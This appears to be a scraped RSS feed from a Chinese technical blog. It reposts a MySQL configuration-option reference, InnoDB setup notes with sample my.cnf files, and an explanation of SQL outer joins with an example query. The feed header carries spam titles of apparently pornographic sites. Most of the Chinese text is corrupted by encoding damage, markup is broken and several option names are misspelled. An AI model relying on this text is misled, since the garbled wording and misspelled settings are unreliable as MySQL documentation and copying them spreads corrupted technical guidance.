??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲人成无码网站,亚洲黄色在线电影,国产综合成人亚洲区http://www.tkk7.com/jiabao/category/30763.html會只會i垂青有准備的hQ運氣不是每個h都有?zh-cnFri, 18 Apr 2008 02:22:06 GMTFri, 18 Apr 2008 02:22:06 GMT60?MYSQL中的my.ini或my.cnf配置说明http://www.tkk7.com/jiabao/archive/2008/04/17/193744.html金家?/dc:creator>金家?/author>Thu, 17 Apr 2008 06:05:00 GMThttp://www.tkk7.com/jiabao/archive/2008/04/17/193744.htmlhttp://www.tkk7.com/jiabao/comments/193744.htmlhttp://www.tkk7.com/jiabao/archive/2008/04/17/193744.html#Feedback0http://www.tkk7.com/jiabao/comments/commentRss/193744.htmlhttp://www.tkk7.com/jiabao/services/trackbacks/193744.html 

本文中的配置都是从《MySQL5权威指南(3rd)》中摘抄出来的,个h认ؓ(f)对于使用MySQL十分有用。放在此处方便自己随时查阅,也希望对其他朋友有所助益?2007.05.30最后更?

mysqldE序--目录和文?br />basedir = path 使用l定目录作ؓ(f)根目?安装目录)?br />character-sets-dir = path l出存放着字符集的目录?br />datadir = path 从给定目录读取数据库文g?br />pid-file = filename 为mysqldE序指定一个存放进EID的文?仅适用于UNIX/Linuxpȝ); Init-V脚本需要用这个文仉的进EIDl束mysqldq程?br />socket = filename 为MySQL客户E序与服务器之间的本地通信指定一个套接字文g(仅适用于UNIX/Linuxpȝ; 默认讄一般是/var/lib/mysql/mysql.sock文g)?/strong>
    在Windows环境下,如果MySQL客户与服务器是通过命名道q行通信的,--sock选项l出的将是该命名道的名?默认讄是MySQL)?br />lower_case_table_name = 1/0 新目录和数据表的名字是否只允怋用小写字? q个选项在Windows环境下的默认讄?(只允怋用小写字??br />
mysqldE序--语言讄
character-sets-server = name 新数据库或数据表的默认字W集。ؓ(f)?jin)与MySQL的早期版本保持兼容,q个字符集也可以?-default-character-set选项l出; 但这个选项已经昑־有点q时?jin)?br />collation-server = name 新数据库或数据表的默认排序方式?br />lanuage = name 用指定的语言昄出错信息?br />
mysqldE序--通信、网l、信息安?br />enable-named-pipes 允许Windows 2000/XP环境下的客户和服务器使用命名道(named pipe)q行通信。这个命名管道的默认名字是MySQLQ但可以?-socket选项来改变?br />local-infile [=0] 允许/止使用LOAD DATA LOCAL语句来处理本地文件?br />myisam-recover [=opt1, opt2, ...] 在启动时自动修复所有受损的MyISAM数据表。这个选项的可取值有4U?DEFAULT、BACKUP、QUICK和FORCE; 它们与myisamchkE序的同名选项作用相同?br />old-passwords 使用MySQL 3.23?.0版本中的老算法来加密mysql数据库里的密?默认使用MySQL 4.1版本开始引入的新加密算??br />port = n 为MySQLE序指定一个TCP/IP通信端口(通常?306端口)?br />safe-user-create 只有在mysql.user数据库表上拥有INSERT权限的用h能用GRANT命o(h); q是一U双保险机制(此用戯必须具备GRANT权限才能执行GRANT命o(h))?br />shared-memory 允许使用内存(shared memory)q行通信(仅适用于Windows)?br />shared-memory-base-name = name l共享内存块起一个名?默认的名字是MySQL)?br />skip-grant-tables 不用mysql数据库里的信息来q行讉K控制(警告:q将允许用户M用户M改Q何数据库)?br />skip-host-cache 不用高速缓存区来存放主机名和IP地址的对应关pR?br />skip-name-resovle 不把IP地址解析Z机名; 与访问控?mysql.user数据?有关的检查全部通过IP地址行进?br />skip-networking 只允?dng)R过一个套接字文g(Unix/Linuxpȝ)或通过命名道(Windowspȝ)q行本地q接Q不允许ICP/IPq接; q提高了(jin)安全性,但阻断了(jin)来自|络的外部连接和所有的Java客户E序(Java客户即在本地连接里也用TCP/IP)?br />user = name mysqldE序在启动后在l定UNIX/Linux账户下执? mysqld必须从root账户启动才能在启动后切换到另一个̎户下执行; mysqld_safe脚本默认?-user=mysql选项来启动mysqldE序?br />
mysqldE序--内存理、优化、查询缓存区
bulk_insert_buffer_size = n Zơ插入多条新记录的INSERT命o(h)分配的缓存区长度(默认讄?M)?br />key_buffer_size = n 用来存放索引区块的RMA?默认讄?M)?br />join_buffer_size = n 在参加JOIN操作的数据列没有索引时ؓ(f)JOIN操作分配的缓存区长度(默认讄?28K)?br />max_heap_table_size = n HEAP数据表的最大长?默认讄?6M); 过q个长度的HEAP数据表将被存入一个(f)时文件而不是驻留在内存里?br />max_connections = n MySQL服务器同时处理的数据库连接的最大数?默认讄?00)?br />query_cache_limit = n 允许临时存放在查询缓存区里的查询l果的最大长?默认讄?M)?br />query_cache_size = n 查询~存区的最大长?默认讄?Q不开辟查询缓存区)?br />query_cache_type = 0/1/2 查询~存区的工作模式:0, 用查询~存? 1Q启用查询缓存区(默认讄); 2Q?按需分配"模式Q只响应SELECT SQL_CACHE命o(h)?br />read_buffer_size = n Z数据表顺序读取数据的L作保留的~存区的长度(默认讄?28KB); q个选项的设|值在必要时可以用SQL命o(h)SET SESSION read_buffer_size = n命o(h)加以改变?br />read_rnd_buffer_size = n cM于read_buffer_size选项Q但针对的是按某U特定顺?比如使用?jin)ORDER BY子句的查?输出的查询结?默认讄?56K)?br />sore_buffer = n 为排序操作分配的~存区的长度(默认讄?M); 如果q个~存区太,则必dZ个(f)时文件来q行排序?br />table_cache = n 同时打开的数据表的数?默认讄?4)?br />tmp_table_size = n 临时HEAP数据表的最大长?默认讄?2M); 过q个长度的(f)时数据表被转换为MyISAM数据表ƈ存入一个(f)时文件?br />
mysqldE序--日志
log [= file] 把所有的q接以及(qing)所有的SQL命o(h)记入日志(通用查询日志); 如果没有l出file参数QMySQL在数据库目录里创徏一个hostname.log文g作ؓ(f)q种日志文g(hostname是服务器的主机名)?br />log-slow-queries [= file] 把执行用时超qlong_query_time变量值的查询命o(h)记入日志(慢查询日?; 如果没有l出file参数QMySQL在数据库目录里创徏一个hostname-slow.log文g作ؓ(f)q种日志文g(hostname是服务器L??br />long_query_time = n 慢查询的执行用时上限(默认讄?0s)?br />long_queries_not_using_indexs 把慢查询以及(qing)执行时没有用烦(ch)引的查询命o(h)全都记入日志(其余?-log-slow-queries选项)?br />log-bin [= filename] 把对数据q行修改的所有SQL命o(h)(也就是INSERT、UPDATE和DELETE命o(h))以二q制格式记入日志(二进制变更日志,binary update log)。这U日志的文g名是filename.n或默认的hostname.nQ其中n是一?位数字的整数(日志文g按顺序编??br />log-bin-index = filename 二进制日志功能的索引文g名。在默认情况下,q个索引文g与二q制日志文g的名字相同,但后~名是.index而不?nnnnnn?br />max_binlog_size = n 二进制日志文件的最大长?默认讄?GB)。在前一个二q制日志文g里的信息量超q这个最大长度之前,MySQL服务器会(x)自动提供一个新的二q制日志文g接箋上?br />binlog-do-db = dbname 只把l定数据库里的变化情况记入二q制日志文gQ其他数据库里的变化情况不记载。如果需要记载多个数据库里的变化情况Q就必须在配|文件用多个本选项来设|,每个数据库一行?br />binlog-ignore-db = dbname 不把l定数据库里的变化情况记入二q制日志文g?br />sync_binlog = n 每经qnơ日志写操作把日志文g写入盘一?Ҏ(gu)志信息进行一ơ同?。n=1是最安全的做法,但效率最低。默认设|是n=0Q意思是由操作系l来负责二进制日志文件的同步工作?br />log-update [= file] 记蝲出错情况的日志文件名(出错日志)。这U日志功能无法禁用。如果没有给出file参数QMySQL?x)用hostname.err作ؓ(f)U日志文件的名字?br />
mysqldE序--镜像(L镜像服务?
server-id = n l服务器分配一个独一无二的ID~号; n的取D围是1~2?2ơ方启用二进制日志功能?br />log-bin = name 启用二进制日志功能。这U日志的文g名是filename.n或默认的hostname.nQ其中的n是一?位数字的整数(日志文g序~号)?br />binlog-do/ignore-db = dbname 只把l定数据库里的变化情况记入二q制日志文g/不把l定的数据库里的变化记入二进制日志文件?br />
mysqldE序--镜像(从属镜像服务?
server-id = n l服务器分配一个唯一的ID~号
log-slave-updates 启用从属服务器上的日志功能,使这台计机可以用来构成一个镜像链(A->B->C)?br />master-host = hostname L服务器的L名或IP地址。如果从属服务器上存在mater.info文g(镜像关系定义文g)Q它?yu)忽略此选项?br />master-user = replicusername 从属服务器用来连接主控服务器的用户名。如果从属服务器上存在mater.info文gQ它?yu)忽略此选项?br />master-password = passwd 从属服务器用来连接主控服务器的密码。如果从属服务器上存在mater.info文gQ它?yu)忽略此选项?br />master-port = n 从属服务器用来连接主控服务器的TCP/IP端口(默认讄?306端口)?br />master-connect-retry = n 如果与主控服务器的连接没有成功,则等待nU?s)后再q行理方式(默认讄?0s)。如果从属服务器存在mater.info文gQ?br />    它将忽略此选项?br />master-ssl-xxx = xxx 对主、从服务器之间的SSL通信q行配置?br />read-only = 0/1 0: 允许从属服务器独立地执行SQL命o(h)(默认讄); 1: 从属服务器只能执行来自主控服务器的SQL命o(h)?br />read-log-purge = 0/1 1: 把处理完的SQL命o(h)立刻从中l日志文仉删除(默认讄); 0: 不把处理完的SQL命o(h)立刻从中l日志文仉删除?br />replicate-do-table = dbname.tablename ?-replicate-do-table选项的含义和用法相同Q但数据库和数据库表名字里允许出现通配W?%"
    (例如: test%.%--对名字以"test"开头的所有数据库里的所以数据库表进行镜像处??br />replicate-do-db = name 只对q个数据库进行镜像处理?br />replicate-ignore-table = dbname.tablename 不对q个数据表进行镜像处理?br />replicate-wild-ignore-table = dbn.tablen 不对q些数据表进行镜像处理?br />replicate-ignore-db = dbname 不对q个数据库进行镜像处理?br />replicate-rewrite-db = db1name > db2name 把主控数据库上的db1name数据库镜像处理ؓ(f)从属服务器上的db2name数据库?br />report-host = hostname 从属服务器的L? q项信息只与SHOW SLAVE HOSTS命o(h)有关--L服务器可以用q条命o(h)生成一份从属服务器的名单?br />slave-compressed-protocol = 1 丅R从服务器用压~格式进行通信--如果它们都支持这么做的话?br />slave-skip-errors = n1, n2, ...或all 即发生出错代码为n1、n2{的错误Q镜像处理工作也l箋q行(即不发生什么错误,镜像处理工作也l进??br />    如果配置得当Q从属服务器不应该在执行SQL命o(h)时发生错?在主控服务器上执行出错的SQL命o(h)不会(x)被发送到从属服务器上做镜像处?; 如果不?br />    slave-skip-errors选项Q从属服务器上的镜像工作可能国为发生错误而中断,中断后需要有人工参与才能l箋q行?br />
mysqld--InnoDB--基本讄、表I间文g
skip-innodb 不加载InnoDB数据表驱动程?-如果用不着InnoDB数据表,可以用这个选项节省一些内存?br />innodb-file-per-table 为每一个新数据表创Z个表I间文g而不是把数据表都集中保存在中央表I间?后者是默认讄)。该选项始见于MySQL 4.1?br />innodb-open-file = n InnoDB数据表驱动程序最多可以同时打开的文件数(默认讄?00)。如果用了(jin)innodb-file-per-table选项q且需要同时打开很多
    数据表的话,q个数字很可能需要加大?br />innodb_data_home_dir = p InnoDBȝ录,所有与InnoDB数据表有关的目录或文件\径都相对于这个\径。在默认的情况下Q这个主目录是MySQL的数据目录?br />innodb_data_file_path = ts 用来容纳InnoDB为数据表的表I间: 可能涉及(qing)一个以上的文g; 每一个表I间文g的最大长度都必须以字?B)、兆字节(MB)?br />    千兆字节(GB)为单位给? 表空间文件的名字必须以分号隔开; 最后一个表I间文gq可以带一个autoextend属性和一个最大长?max:n)?br />    例如Qibdata1:1G; ibdata2:1G:autoextend:max:2G的意思是: 表空间文件ibdata1的最大长度是1GBQibdata2的最大长度也?GQ但允许它扩充到2GB?br />    除文件名外,q可以用盘分区的设|名来定义表I间Q此时必ȝ表空间的最大初始长度值加上newraw关键字做后缀Q给表空间的最大扩充长度值加?br />    raw关键字做后缀(例如/dev/hdb1:20Gnewraw?dev/hdb1:20Graw); MySQL 4.0?qing)更高版本的默认讄是ibdata1:10M:autoextend?br />innodb_autoextend_increment = n 带有autoextend属性的表空间文件每ơ加大多兆字节(默认讄?MB)。这个属性不涉及(qing)具体的数据表文gQ那些文件的
    增大速度相对是比较小的?br />innodb_lock_wait_timeout = n 如果某个事务在等待nU?s)后还没有获得所需要的资源Q就使用ROLLBACK命o(h)攑ּq个事务。这设|对于发现和处理未能?br />    InnoDB数据表驱动程序识别出来的死锁条g有着重要的意义。这个选项的默认设|是50s?br />innodb_fast_shutdown 0/1 是否以最快的速度关闭InnoDBQ默认设|是1Q意思是不把~存在INSERT~存区的数据写入数据表,那些数据在MySQL服务器下?br />    启动时再写入(q么做没有什么风险,因ؓ(f)INSERT~存区是表空间的一个组成部分,数据不会(x)丢失)。把q个选项讄?反面危险Q因为在计算机关闭时Q?br />    InnoDB驱动E序很可能没有够的旉完成它的数据同步工作Q操作系l也怼(x)在它完成数据同步工作之前l束InnoDBQ而这?x)导致数据不完整?br />
mysqldE序--InnoDB--日志
innodb_log_group_home_dir = p 用来存放InnoDB日志文g的目录\?如ib_logfile0、ib_logfile1{?。在默认的情况下QInnoDB驱动E序用MySQL数据?br />    录作׃存日志文件的位置。  ?
innodb_log_files_in_group = n 使用多少个日志文?默认讄?)。InnoDB数据表驱动程序将以轮转方式依ơ填写这些文? 当所有的日志文g都写满以后,
    之后的日志信息将写入W一个日志文件的最大长?默认讄?MB)。这个长度必MMB(兆字?或GB(千兆字节)为单位进行设|?br />innodb_flush_log_at_trx_commit = 0/1/2 q个选项军_着什么时候把日志信息写入日志文g以及(qing)什么时候把q些文g物理地写(术语UCؓ(f)"同步")到硬盘上?br />    讄?的意思是每隔一U写一ơ日志ƈq行同步Q这可以减少盘写操作次敎ͼ但可能造成数据丢失; 讄?(讄讄)的意思是在每执行完一条COMMIT
    命o(h)写一ơ日志ƈq行同步Q这可以防止数据丢失Q但盘写操作可能会(x)很频J? 讄?是一般折L(fng)办法Q即每执行完一条COMMIT命o(h)写一ơ日志,
    每隔一U进行一ơ同步?br />innodb_flush_method = x InnoDB日志文g的同步办?仅适用于UNIX/Linuxpȝ)。这个选项的可取值有两种: fdatasyncQ用fsync()函数q行同步; O_DSYNCQ?br />    用O_SYNC()函数q行同步?br />innodb_log_archive = 1 启用InnoDB驱动E序的archive(档案)日志功能Q把日志信息写入ib_arch_log_n文g。启用这U日志功能在InnoDB与MySQL一起用时没有
    多大意义(启用MySQL服务器的二进制日志功能就_用了(jin))?br />
mysqldE序--InnoDB--~存区的讄和优?br />innodb_log_buffer_pool_size = n 为InnoDB数据表及(qing)其烦(ch)引而保留的RAM内存?默认讄?MB)。这个参数对速度有着相当大的影响Q如果计机上只q行?br />    MySQL/InnoDB数据库服务器Q就应该把全部内存的80%用于q个用途?br />innodb_log_buffer_size = n 事务日志文g写操作缓存区的最大长?默认讄?MB)?br />innodb_additional_men_pool_size = n 为用于内部管理的各种数据l构分配的缓存区最大长?默认讄?MB)?br />innodb_file_io_threads = n I/O操作(盘写操?的最大线E个?默认讄?)?br />innodb_thread_concurrency = n InnoDB驱动E序能够同时使用的最大线E个?默认讄?)?br />
mysqldE序--其它选项
bind-address = ipaddr MySQL服务器的IP地址。如果MySQL服务器所在的计算机有多个IP地址Q这个选项非帔R要?br />default-storage-engine = type 新数据表的默认数据表cd(默认讄是MyISAM)。这设|还可以通过--default-table-type选项来设|?br />default-timezone = name 为MySQL服务器设|一个地理时?如果它与本地计算机的地理时区不一??br />ft_min_word_len = n 全文索引的最单词长度工。这个选项的默认设|是4Q意思是在创建全文烦(ch)引时不考虑那些?个或更少的字W构建单词?br />Max-allowed-packet = n 客户与服务器之间交换的数据包的最大长度,q个数字臛_应该大于客户E序要处理的最大BLOB块的长度。这个选项的默认设|是1MB?br />Sql-mode = model1, mode2, ... MySQL运行在哪一USQL模式下。这个选项的作用是让MySQL与其他的数据库系l保持最大程度的兼容。这个选项的可取值包?br />    ansi、db2、oracle、no_zero_date、pipes_as_concat?br />
注意Q如果在配置文g里给出的某个选项是mysqld无法识别?如,因ؓ(f)犯了(jin)一个愚蠢的打字错误)QMySQL服务器将不启动?/font>

来源Q?/font> http://blog.chinaunix.net/u1/41728/showart_350147.html



]]>
mysql data文g夹下的ibdata1 文g作用http://www.tkk7.com/jiabao/archive/2008/04/17/193740.html金家?/dc:creator>金家?/author>Thu, 17 Apr 2008 05:56:00 GMThttp://www.tkk7.com/jiabao/archive/2008/04/17/193740.htmlhttp://www.tkk7.com/jiabao/comments/193740.htmlhttp://www.tkk7.com/jiabao/archive/2008/04/17/193740.html#Feedback0http://www.tkk7.com/jiabao/comments/commentRss/193740.htmlhttp://www.tkk7.com/jiabao/services/trackbacks/193740.html 
q个文g大, 查了(jin)一下, 大概的作用如?br />
是储存的格式
INNODBcd数据状态下Q?br />ibdata用来储存文g的数?br />而库名的文g多w面的那些表文件只是结构而已

׃mysql4.1默认试innodbQ所以这个文仉认就存在?jin)http://man.chinaunix.net/database/mysql/inonodb_zh/2.htm q个链接试innodb的中文参考, innodb的东西可以在my.ini中设|?br />
innodo中文参考全文如?br />

InnoDB 启动选项

Z(jin)?MySQL-Max-3.23 中?InnoDB 表,你必d配置文g‘my.ini?/font>QWINDOWSpȝQ中?作ؓ(f)最设|,?3.23 中你必须?‘my.cnf?/font>中没有指?code>datadir 目录下创建数据文件。如果将innodb_data_file_path 中给定一个绝对\径。在 MySQL-4.0 中可以不讑֮ datadir 目录下徏立一?10 MB 大小自扩?auto-extending)的文?tt>Z(jin)得到更好的性能你必LC的例子明确地设?InnoDB 启动参数?/font>

?3.23.50 版和 4.0.2 版开始,InnoDB 允许?innodb_data_file_path 语法如下所C:(x)

pathtodatafile:sizespecification;pathtodatafile:sizespec;...
...;pathtodatafile:sizespec[:autoextend[:max:sizespecification]]
如果?autoextend 选项描述最后一个数据文Ӟ?InnoDB 用尽所有表自由I间后将?x)自动扩充最后一个数据文Ӟ每次增量?8 MB。示例:(x)
innodb_data_home_dir =
innodb_data_file_path = /ibdata/ibdata1:100M:autoextend
指定 InnoDB 只徏立一个最初大ؓ(f) 100 MB q且当表I间被用时?8MB 每块增加的数据文件。如果硬盘空间不I可以再添加一个数据文件ƈ其攑֜其它的硬盘中?举例来说Q先(g)查硬盘空间的大小Q设?tt> ibdata1 明确地指定在innodb_data_home_dir =
innodb_data_file_path = /ibdata/ibdata1:988M;/disk2/ibdata2:50M:autoextend
注意Q设定文件大时一定要注意你的OS是否有最大文件尺ؓ(f)2GB的限ӞInnoDB是不?x)注意你的OS文g寸限制的, 在一些文件系l中你可能要讑֮最大容量限Ӟ(x)
innodb_data_home_dir =
innodb_data_file_path = /ibdata/ibdata1:100M:autoextend:max:2000M

 

一个简单的my.cnf ?q个CZ适合大部分不需要将 InnoDB 数据文g和日志文件放在几个盘上的 Unix ?Windows 用户。这个例子在 MySQL ?code>/mysql/data)中创Z个自扩充(auto-extending)的数据文?tt>ib_logfile0 ?tt>ib_arch_log_0000000000 档案文g?/font>

[mysqld]
#在这里加入其??MySQL 服务器配|?br /> #...
# 数据文g必须
# 能够容下数据与烦(ch)?br /> # 定有够的
# 盘I间
innodb_data_file_path = ibdata1:10M:autoextend
# 讄~冲池的大小?br /> # 你的d存大的
# 50 - 80 %
set-variable = innodb_buffer_pool_size=70M
set-variable = innodb_additional_mem_pool_size=10M
# 讄日志文g的大约?br /> # ~冲?buffer pool)
# 大小?25 %
set-variable = innodb_log_file_size=20M
set-variable = innodb_log_buffer_size=8M
# 如果丢失最q几个事务媄(jing)?br /> # 不大的话可以讄
# .._flush_log_at_trx_commit = 0
innodb_flush_log_at_trx_commit=1

InnoDB 不会(x)自己建立目录Q必自׃用操作系l命令徏立相应的目录。检查你?MySQL 服务E序?注意Q在某些文gpȝ?数据文g大小必须于2GQ?所有运行日志文件的大小d必须于 2G ?4G,q依赖于具体?MySQL pȝ版本?数据文g的d必须大于{于 10 MB.

当第一ơ徏?InnoDB 数据库时Q徏议最好以命o(h)行方式启?MySQL 服务。这?InnoDB 数据库徏立时的提CZ息将在屏q上昄Q从而可以看到徏立过E?下面W?3 节所C就?InnoDB 数据库徏立时的屏q显C。例如,?Windows 下用下列指令启?your-path-to-mysqld>mysqld-max --console

 

?Windows pȝ?my.ini 攑֜哪里Q?/strong>规则如下 Q?

  • 只能存在一? my.ini 文g
  • C: 的根目录?
  • C:\WINDOWS ? SET 命o(h)查看 WINDIR 目录?
  • 如果你的 PC 使用启动引导E序引导pȝ?my.ini 作ؓ(f)讄文g

 

Unix 下在哪里指定配置文gQ?/strong>?Unix ? --defaults-extra-file=.... 讄的默认文?

  • mysqld 被编译时?code>/usr/local/mysql/data 二进制安装或  

    如果不有定 my.cnf ?mysqld --defaults-file=your_path_to_my_cnf?/font>

    InnoDB 的数据文件目录是?innodb_data_file_path 的数据文件名或目录联?Q如果需要将在它们之间增加一个?”或“\”。如果关键字 my.cnf 中明指定,它的默认gؓ(f)?”,即目录?/”,q意味着 MySQL ?一个高U的 "/", ?my.cnf 文g中可能所作的一些配|?/font>

    注意Q?strong>InnoDB 不会(x)自己创徏文g目录Q你必须自己创徏它们?/strong>使用 Unix ?MS-DOS [mysqld]
    #在这里加入其??MySQL 服务器配|?br /> #...
    # 如果不用InnoDB表将一列一行注释去?br /> # skip-innodb
    #
    # 数据文g必须
    # 能够容下数据与烦(ch)?br /> # 定有够的
    # 盘I间
    innodb_data_file_path = /ibdata/ibdata1:2000M;/dr2/ibdata/ibdata2:2000M:autoextend
    # 讄~冲池的大小?br /> # 你的d存大的
    # 50 - 80 %Q但?br /> # ?Linux x86 d?br /> # 使用必须于 2 GB
    set-variable = innodb_buffer_pool_size=1G
    set-variable = innodb_additional_mem_pool_size=20M
    innodb_log_group_home_dir = /dr3/iblogs
    # .._log_arch_dir 必须?br /> # .._log_group_home_dir一P
    # ?4.0.6开始,可以省略?br /> innodb_log_arch_dir = /dr3/iblogs
    set-variable = innodb_log_files_in_group=3
    # 讄日志文g的大约?br /> # ~冲?buffer pool)
    # 大小?15 %
    set-variable = innodb_log_file_size=150M
    set-variable = innodb_log_buffer_size=8M
    # 如果丢失最q几个事务媄(jing)?br /> # 不大的话可以讄
    # .._flush_log_at_trx_commit = 0
    innodb_flush_log_at_trx_commit=1
    set-variable = innodb_lock_wait_timeout=50
    #innodb_flush_method=fdatasync
    #set-variable = innodb_thread_concurrency=5

    注意Q我们已在不同的盘上放|了(jin)两个数据文gQ?InnoDB 从数据文g的底部填充表I间。在某些情况下所有的数据被分配到不同的物理硬盘中?x)提高数据库的性能?日志文件与数据文g分别攑֜不同的物理硬盘中Ҏ(gu)高性能通常是很有益的。你同样可以使用一?RAW 盘分区( raw disk partitions(raw devices)) 作ؓ(f)数据文gQ?在一?Unixe pȝ中这提?I/O 能力?如何?警告Q?/strong>?Linux x86 上必d?strong>不能内存用设|太高, glibc ?x)把q程堆增长到U程堆栈之上Q这会(x)使服务器崩溃。下面的接近或超q于 2G 会(x)很危险:(x)

    innodb_buffer_pool_size + key_buffer +
    max_connections * (sort_buffer + record_buffer) + max_connections * 2 MB
    每个U程?2MB(MySQL AB 二进制版本ؓ(f) 256 KB)的堆栈,在最坏的环境下还?x)? 

    如何调整其它? skip-locking
    set-variable = max_connections=200
    set-variable = record_buffer=1M
    set-variable = sort_buffer=1M
    # 讄索引~冲(key_buffer)大小?br /> # 你的 RAM ?5 - 50% Q这主要依赖?br /> # pȝ?MyISAM 表用量?br /> # 但是必须保证索引~冲(key_buffer)?InnoDB
    # 的缓冲池(buffer pool)大小d
    # 于 RAM ?80%?br /> set-variable = key_buffer=...

     

    注意Q在 set-variable = innodb... = 123Q而其?字符串和逻辑?的采用另一讄格式Q?code>

    各设|参数的含义如下Q?/font>

    q是InnoDB表的目录q讄。如果没有在 datadir 目录为缺省目录。如果设定一个空字串,可以?innodb_data_file_path

    单独指定数据文g的\径与大小。数据文件的完整路径?innodb_data_home_dir 与这里所讑֮值的l合?文g大小?MB 单位指定。因此在文g大小指定后必有“M”?InnoDB 也支持羃写“G”, 1G = 1024M。从 3.23.44 开始,在那些支持大文g的操作系l上可以讄数据文g大小大于 4 GB。而在另一些操作系l上数据文g必须于 2 GB。数据文件大d臛_要达?10 MB。在 MySQL-3.23 中这个参数必ddatadir 目录下创Z?16 MB 自扩?auto-extending)的数据文?my.cnf 中详l指定它们请查看W?12.1 节?/td>
    my.cnf 中以数字格式讄?/td>
    innodb_log_arch_dir 讄相同倹{?如果没有明确指定默认在 MySQL ?ib_logfile... 文g?/td>
    my.cnf 中以数字格式讄?/td>
    my.cnf 中以数字格式讄?/td>
    my.cnf 中以数字格式讄?/td>
    innodb_log_arch_dirThe directory where fully written log files would be archived if we used log archiving. q里讄的参数必M innodb_log_archiveq个值通常设ؓ(f) 0?既然从备份中恢复(recovery)适合?MySQL 使用它自q log filesQ因而通常不再需?archive InnoDB log files。这个选项默认讄?0?/td>
    my.cnf 中以数字格式讄?/td>
    my.cnf 中以数字格式讄?/td>
    my.cnf 中以数字格式讄?/td>
    在回?rooled back)之前QInnoDB 事务等待超时的旉(单位 U?。InnoDB ?x)自动检查自w在锁定表与事务回滚时的事务死锁。如果?my.cnf 中以数字格式讄?/td>
    q个参数仅仅?Unix 相关。这个参数默认gؓ(f) O_DSYNC。这仅仅影响日志文g的{储,?Unix 下以 fdatasync Z?O_DSYNC Z?innodb_force_recovery警告Q此参数只能在你希望从一个被损坏的数据库中{?dump)数据的紧急情况下使用Q?可能讄的D围ؓ(f) 1 - 6。查看下面的章节 'Forcing recovery' 以了(jin)解这个参数的具体含义。参数设|大?0 的g表着 InnoDB 防止用户修改数据的安全度。从 3.23.44 开始,q个参数可用。在 innodb_fast_shutdownInnoDB ~少在关闭之前清I插入缓册Ӏ这个操作可能需要几分钟Q在极端的情况下可以需要几个小时。如果这个参数据讄?1 QInnoDB 蟩q这个过E而直接关闭。从 3.23.44 ?4.0.1 开始,此参数可用。从 3.23.50 开始,此参数的默认gؓ(f) 1?/td>
    innodb_monitor 昄有很多线E等侍信P应该这个D一炏V如果你的计机pȝ有很我的处理器与盘pȝQ则可以这个D高一点以充分利用你的pȝ资源。徏议设gؓ(f)处理器数? 盘数目??3.23.44 ?4.0.1 开始,此参数可用。在

    ]]>左外q接Q右外连接,全连接,内连接的各差异,以及(qing)何时用什么连接?http://www.tkk7.com/jiabao/archive/2008/04/13/192581.html金家?/dc:creator>金家?/author>Sun, 13 Apr 2008 09:04:00 GMThttp://www.tkk7.com/jiabao/archive/2008/04/13/192581.htmlhttp://www.tkk7.com/jiabao/comments/192581.htmlhttp://www.tkk7.com/jiabao/archive/2008/04/13/192581.html#Feedback0http://www.tkk7.com/jiabao/comments/commentRss/192581.htmlhttp://www.tkk7.com/jiabao/services/trackbacks/192581.html
    SQL--JOIN之完全用法?   
          
            
            
       
       
      外联接。外联接可以是左向外联接、右向外联接或完整外部联接。?   
      在?  FROM   子句中指定外联接Ӟ可以׃列几l关键字中的一l指定:(x)   
       
      LEFT   JOIN   或? LEFT   OUTER   JOIN。?   
      左向外联接的l果集包括? LEFT   OUTER   子句中指定的左表的所有行Q而不仅仅是联接列所匚w的行。如果左表的某行在右表中没有匚w行,则在相关联的l果集行中右表的所有选择列表列均为空倹{? 
       
      RIGHT   JOIN   或? RIGHT   OUTER   JOIN。?    
      叛_外联接是左向外联接的反向联接。将q回双的所有行。如果右表的某行在左表中没有匚w行,则将为左表返回空倹{? 
       
      FULL   JOIN   或? FULL   OUTER   JOIN。?    
      完整外部联接q回左表和右表中的所有行。当某行在另一个表中没有匹配行Ӟ则另一个表的选择列表列包含空倹{如果表之间有匹配行Q则整个l果集行包含?span class="t_tag" onclick="tagshow(event)" href="tag.php?name=%CA%FD%BE%DD">数据倹{?  
       
      仅当臛_有一个同属于两表的行W合联接条gӞ内联接才q回行。内联接消除与另一个表中的M行不匚w的行。而外联接?x)返回?  FROM   子句中提到的臛_一个表或视囄所有行Q只要这些行W合M   WHERE   或? HAVING   搜烦(ch)条g。将(g)索通过左向外联接引用的左表的所有行Q以?qing)通过叛_外联接引用的双的所有行。完整外部联接中两个表的所有行都将q回。? 
       
      Microsoft]   SQL   Server™? 2000   对在   FROM   子句中指定的外联接用以下? SQL-92   关键字:(x)     
       
      LEFT   OUTER   JOIN   或? LEFT   JOIN   
       
       
      RIGHT   OUTER   JOIN   或? RIGHT   JOIN   
       
       
      FULL   OUTER   JOIN   或? FULL   JOIN     
      SQL   Server   支持   SQL-92   外联接语法,以及(qing)在? WHERE   子句中用? *=   和? =*   q算W指定外联接的旧式语法。由于? SQL-92   语法不容易生歧义,而旧式? Transact-SQL   外联接有时会(x)产生歧义Q因此徏议用? SQL-92   语法。? 
       
      使用左向外联接? 
      假设在? city   列上联接   authors   表和   publishers   表。结果只昄在出版商所在城?jng)居住的作者(本例中ؓ(f)   Abraham   Bennet   和? Cheryl   CarsonQ。? 
       
      若要在结果中包括所有的作者,而不出版商是否住在同一个城?jng),请用? SQL-92   左向外联接。下面是   Transact-SQL   左向外联接的查询和结果:(x)   
       
      USE   pubs   
      SELECT   a.au_fname,   a.au_lname,   p.pub_name   
      FROM   authors   a   LEFT   OUTER   JOIN   publishers   p   
      ON   a.city   =   p.city   
      ORDER   BY   p.pub_name   ASC,   a.au_lname   ASC,   a.au_fname   ASC   
       
      下面是结果集Q? 
       
      au_fname   au_lname   pub_name     
      --------------------   ------------------------------   -----------------     
      Reginald   Blotchet-Halls   NULL   
      Michel   DeFrance   NULL   
      I(yng)nnes   del   Castillo   NULL   
      Ann   Dull   NULL   
      Marjorie   Green   NULL   
      Morningstar   Greene   NULL   
      Burt   Gringlesby   NULL   
      Sheryl   Hunter   NULL   
      Livia   Karsen   NULL   
      Charlene   Locksley   NULL   
      Stearns   MacFeather   NULL   
      Heather   McBadden   NULL   
      Michael   O'Leary   NULL   
      Sylvia   Panteley   NULL   
      Albert   Ringer   NULL   
      Anne   Ringer   NULL   
      Meander   Smith   NULL   
      Dean   Straight   NULL   
      Dirk   Stringer   NULL   
      Johnson   White   NULL   
      Akiko   Yokomoto   NULL   
      Abraham   Bennet   Algodata   I(yng)nfosystems   
      Cheryl   Carson   Algodata   I(yng)nfosystems   
       
      (23   row(s)   affected)   
       
